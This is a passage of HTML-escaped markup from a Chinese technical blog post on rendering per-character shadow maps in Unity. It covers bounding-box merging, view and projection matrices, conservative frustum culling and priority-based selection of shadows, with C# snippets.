id=\"角色包围盒\"\u003e角色包围盒\u003ca class=\"headerlink\" href=\"#角色包围盒\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e要让角色尽可能撑满 Shadow Map,就需要知道角色的包围盒。两种方法:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e直接设置一个固定大小的 Box。\u003c/li\u003e\n\u003cli\u003e找到角色身上所有投射阴影的 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Renderer-bounds.html\"\u003e\u003ccode\u003eRenderer.bounds\u003c/code\u003e\u003c/a\u003e,将它们合并起来。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e考虑到播放 AnimationClip 时,角色包围盒会发生变化,我选择第二种方法。\u003c/p\u003e\n\u003ch3 id=\"计算-View-Matrix\"\u003e计算 View Matrix\u003ca class=\"headerlink\" href=\"#计算-View-Matrix\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e把主光源当成相机,再移动到角色包围盒中心,就有一个 View Space。View Matrix 的作用是将 World Space 变换为这个 View Space。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es_FlipZMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 翻转 z 轴\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eView Space 是 -Z 朝前的右手坐标系。\u003ccode\u003es_FlipZMatrix\u003c/code\u003e 即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n1 \u0026amp;0 \u0026amp;0 \u0026amp;0 \\\\\n0 \u0026amp;1 \u0026amp;0 \u0026amp;0 \\\\\n0 \u0026amp;0 \u0026amp;-1 \u0026amp;0 \\\\\n0 \u0026amp;0 \u0026amp;0 \u0026amp;1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e用来翻转 Z 轴。\u003c/p\u003e\n\u003ch3 id=\"剔除\"\u003e剔除\u003ca class=\"headerlink\" href=\"#剔除\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e为了节约资源,看不见的阴影应该提前剔除掉。想准确剔除是很困难的,所以最后我实现了一个 View Space 下的快速且保守的剔除算法。\u003c/p\u003e\n\u003cp\u003e首先,要把角色包围盒和视锥体变换到 View Space,然后计算变换后的 AABB。具体讲,就是把它们的 8 个顶点变换一下,然后重新计算 Min 和 Max。Unity 提供了 \u003ca href=\"https://docs.unity3d.com/ScriptReference/GeometryUtility.CalculateBounds.html\"\u003e\u003ccode\u003eGeometryUtility.CalculateBounds\u003c/code\u003e\u003c/a\u003e 方法。不过我这里要用 Burst,就自己写了一个。视锥体的 8 个顶点可以用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Camera.CalculateFrustumCorners.html\"\u003e\u003ccode\u003eCamera.CalculateFrustumCorners\u003c/code\u003e\u003c/a\u003e 提前计算好。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eEightPointsAABB\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"n\"\u003eNoAlias\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePositiveInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNegativeInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]).\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e检查角色 AABB 和视锥体 AABB,如果没有相交的话,这个阴影就看不见,需要被剔除。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// shadowMin 和 shadowMax 是角色 AABB\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// frustumMin 和 frustumMax 是视锥体 AABB\u003c/span\u003e\n\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMin\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 剔除\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e如果是角色投射到场景的阴影,理论上它可以打到无穷远处,\u003ccode\u003eshadowMin.z\u003c/code\u003e 需要当成负无穷处理,所以在做相交检测时,\u003ccode\u003eany(shadowMin.xy \u0026gt; frustumMax.xy)\u003c/code\u003e 这一半不需要检查 \u003ccode\u003ez\u003c/code\u003e。然后,要向后延长角色包围盒,包住自己还有这部分视锥体里的物体。但包围盒太长的话深度都集中在 0 或者 1 处,精度不够,所以必须要限制一下长度。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclamp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果是角色的自阴影,它只会投射在自己身上,不会到无穷远处,可以检查 z 方向进一步剔除。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 剔除\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"计算-Projection-Matrix\"\u003e计算 Projection Matrix\u003ca class=\"headerlink\" href=\"#计算-Projection-Matrix\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e主光源(平行光)用的是正交投影,光源视锥体要恰好包住角色,让角色撑满 Shadow Map。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebottom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOrthoOffCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebottom\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUnity 的文档中提到\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe returned matrix embeds a z-flip operation whose purpose is to cancel the z-flip performed by the camera view matrix. If the view matrix is an identity or some custom matrix that doesn't perform a z-flip, consider multiplying the third column of the projection matrix (i.e. m02, m12, m22 and m32) by -1. \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e即 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Matrix4x4.Ortho.html\"\u003e\u003ccode\u003eMatrix4x4.Ortho\u003c/code\u003e\u003c/a\u003e 和 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.mathematics@1.2/api/Unity.Mathematics.float4x4.OrthoOffCenter.html#Unity_Mathematics_float4x4_OrthoOffCenter_System_Single_System_Single_System_Single_System_Single_System_Single_System_Single_\"\u003e\u003ccode\u003efloat4x4.OrthoOffCenter\u003c/code\u003e\u003c/a\u003e 用的公式是\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{zNear} \\le -z \\le \\text{zFar}\n\\]\u003c/div\u003e\n\u003cp\u003e在我们的代码里对应\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n-\\text{shadowMax.z} \\le -z \\le -\\text{shadowMin.z}\n\\]\u003c/div\u003e\n\u003ch3 id=\"筛选\"\u003e筛选\u003ca class=\"headerlink\" href=\"#筛选\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e剔除之后,可能还有非常多可见的阴影,需要给它们算一个优先级,然后进一步筛选。我规定 \u003ccode\u003epriority\u003c/code\u003e 值越小,就越优先绘制,最多绘制 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edistSq\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edistancesq\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecameraForward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalizesafe\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epriority\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esaturate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edistSq\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ee4f\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emad\u003c/span\u003e\u003cspan 